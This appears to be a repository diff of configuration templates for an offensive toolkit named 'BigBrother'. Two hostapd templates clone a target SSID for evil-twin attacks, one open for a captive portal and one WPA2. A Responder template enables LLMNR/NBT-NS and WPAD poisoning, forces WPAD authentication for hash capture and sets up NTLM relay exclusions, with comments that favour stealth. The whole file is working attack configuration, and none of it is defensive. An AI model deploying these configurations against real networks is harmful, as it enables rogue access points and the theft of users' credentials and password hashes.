|
# BigBrother hostapd configuration — Open AP (no password)
|
||||||
|
#
|
||||||
|
# Used by evil_twin.py for captive portal attacks.
|
||||||
|
# Jinja2 variables:
|
||||||
|
# interface: Wireless interface (e.g., "wlan0")
|
||||||
|
# ssid: Target SSID to clone
|
||||||
|
# channel: WiFi channel (1-11 for 2.4GHz)
|
||||||
|
# driver: Wireless driver (default: nl80211)
|
||||||
|
# hw_mode: Hardware mode (default: g for 2.4GHz)
|
||||||
|
# country_code: Regulatory domain (default: US)
|
||||||
|
# beacon_int: Beacon interval in ms (default: 100)
|
||||||
|
|
||||||
|
interface={{ interface | default('wlan0') }}
|
||||||
|
driver={{ driver | default('nl80211') }}
|
||||||
|
ssid={{ ssid }}
|
||||||
|
hw_mode={{ hw_mode | default('g') }}
|
||||||
|
channel={{ channel | default(6) }}
|
||||||
|
country_code={{ country_code | default('US') }}
|
||||||
|
ieee80211d=1
|
||||||
|
|
||||||
|
# No encryption — open AP for captive portal
|
||||||
|
auth_algs=1
|
||||||
|
wpa=0
|
||||||
|
|
||||||
|
# Beacon and capabilities
|
||||||
|
beacon_int={{ beacon_int | default(100) }}
|
||||||
|
wmm_enabled=0
|
||||||
|
macaddr_acl=0
|
||||||
|
ignore_broadcast_ssid=0
|
||||||
|
|
||||||
|
# 802.11n support (better performance)
|
||||||
|
ieee80211n=1
|
||||||
|
ht_capab=[HT40+][SHORT-GI-20][SHORT-GI-40]
|
||||||
|
|
||||||
|
# Logging
|
||||||
|
logger_syslog=-1
|
||||||
|
logger_syslog_level=2
|
||||||
|
logger_stdout=-1
|
||||||
|
logger_stdout_level=2
|
||||||
@@ -0,0 +1,45 @@
|
|||||||
|
# BigBrother hostapd configuration — WPA2-PSK AP
|
||||||
|
#
|
||||||
|
# Used by evil_twin.py for WPA2 evil twin attacks.
|
||||||
|
# Requires knowing or guessing the target PSK.
|
||||||
|
# Jinja2 variables:
|
||||||
|
# interface: Wireless interface (e.g., "wlan0")
|
||||||
|
# ssid: Target SSID to clone
|
||||||
|
# channel: WiFi channel (1-11 for 2.4GHz)
|
||||||
|
# wpa_passphrase: WPA2 pre-shared key
|
||||||
|
# driver: Wireless driver (default: nl80211)
|
||||||
|
# hw_mode: Hardware mode (default: g for 2.4GHz)
|
||||||
|
# country_code: Regulatory domain (default: US)
|
||||||
|
# beacon_int: Beacon interval in ms (default: 100)
|
||||||
|
|
||||||
|
interface={{ interface | default('wlan0') }}
|
||||||
|
driver={{ driver | default('nl80211') }}
|
||||||
|
ssid={{ ssid }}
|
||||||
|
hw_mode={{ hw_mode | default('g') }}
|
||||||
|
channel={{ channel | default(6) }}
|
||||||
|
country_code={{ country_code | default('US') }}
|
||||||
|
ieee80211d=1
|
||||||
|
|
||||||
|
# WPA2-PSK configuration
|
||||||
|
auth_algs=1
|
||||||
|
wpa=2
|
||||||
|
wpa_passphrase={{ wpa_passphrase }}
|
||||||
|
wpa_key_mgmt=WPA-PSK
|
||||||
|
wpa_pairwise=CCMP
|
||||||
|
rsn_pairwise=CCMP
|
||||||
|
|
||||||
|
# Beacon and capabilities
|
||||||
|
beacon_int={{ beacon_int | default(100) }}
|
||||||
|
wmm_enabled=1
|
||||||
|
macaddr_acl=0
|
||||||
|
ignore_broadcast_ssid=0
|
||||||
|
|
||||||
|
# 802.11n support
|
||||||
|
ieee80211n=1
|
||||||
|
ht_capab=[HT40+][SHORT-GI-20][SHORT-GI-40]
|
||||||
|
|
||||||
|
# Logging
|
||||||
|
logger_syslog=-1
|
||||||
|
logger_syslog_level=2
|
||||||
|
logger_stdout=-1
|
||||||
|
logger_stdout_level=2
|
||||||
@@ -0,0 +1,70 @@
|
|||||||
|
{# BigBrother Responder.conf template
|
||||||
|
Jinja2 variables:
|
||||||
|
protocols: dict of protocol toggles (LLMNR, NBT-NS, mDNS, HTTP, SMB, etc.)
|
||||||
|
relay_targets: set of IPs excluded from SMB auth (for ntlm_relay)
|
||||||
|
interface: network interface
|
||||||
|
#}
|
||||||
|
[Responder Core]
|
||||||
|
|
||||||
|
; Servers to start
|
||||||
|
SQL = {{ 'On' if protocols.get('SQL', false) else 'Off' }}
|
||||||
|
SMB = {{ 'On' if protocols.get('SMB', true) else 'Off' }}
|
||||||
|
RDP = Off
|
||||||
|
Kerberos = Off
|
||||||
|
FTP = {{ 'On' if protocols.get('FTP', false) else 'Off' }}
|
||||||
|
POP = {{ 'On' if protocols.get('POP', false) else 'Off' }}
|
||||||
|
SMTP = {{ 'On' if protocols.get('SMTP', false) else 'Off' }}
|
||||||
|
IMAP = {{ 'On' if protocols.get('IMAP', false) else 'Off' }}
|
||||||
|
HTTP = {{ 'On' if protocols.get('HTTP', true) else 'Off' }}
|
||||||
|
HTTPS = {{ 'On' if protocols.get('HTTP', true) else 'Off' }}
|
||||||
|
DNS = Off
|
||||||
|
LDAP = {{ 'On' if protocols.get('LDAP', false) else 'Off' }}
|
||||||
|
DCERPC = Off
|
||||||
|
WinRM = Off
|
||||||
|
SNMP = Off
|
||||||
|
MQTT = Off
|
||||||
|
|
||||||
|
; Custom challenge — Random is stealthier than fixed
|
||||||
|
Challenge = Random
|
||||||
|
|
||||||
|
; Set specific interface
|
||||||
|
; Interface = {{ interface }}
|
||||||
|
|
||||||
|
; WPAD configuration
|
||||||
|
WPADScript = function FindProxyForURL(url, host){return "DIRECT";}
|
||||||
|
{% if protocols.get('WPAD', true) %}
|
||||||
|
; WPAD rogue proxy enabled
|
||||||
|
Serve-Html = On
|
||||||
|
Serve-Exe = Off
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
|
; Force WPAD auth for hash capture
|
||||||
|
Force-WPAD-Auth = {{ 'On' if protocols.get('WPAD', true) else 'Off' }}
|
||||||
|
|
||||||
|
; Downgrade to NTLMv1 (more crackable but more detectable)
|
||||||
|
; Set to On only when specifically targeting NTLMv1
|
||||||
|
Downgrade-To-NTLMv1 = Off
|
||||||
|
|
||||||
|
; Don't respond to these machines (comma-separated hostnames)
|
||||||
|
DontRespondToNames =
|
||||||
|
|
||||||
|
{% if relay_targets %}
|
||||||
|
; Hosts excluded from SMB auth — being relayed by ntlmrelayx
|
||||||
|
; These IPs should get auth forwarded to ntlmrelayx, not captured locally
|
||||||
|
DontRespondTo = {{ relay_targets | join(', ') }}
|
||||||
|
{% else %}
|
||||||
|
DontRespondTo =
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
|
[HTTP Server]
|
||||||
|
; Custom HTML to serve for WPAD/HTTP auth
|
||||||
|
HTMLToInject =
|
||||||
|
; Serve a custom EXE
|
||||||
|
Serve-Always = Off
|
||||||
|
Filename =
|
||||||
|
ExecParams =
|
||||||
|
|
||||||
|
[HTTPS Server]
|
||||||
|
; Self-signed cert params
|
||||||
|
SSLCert = certs/responder.crt
|
||||||
|
SSLKey = certs/responder.key
|
||||||
Reference in New Issue
Block a user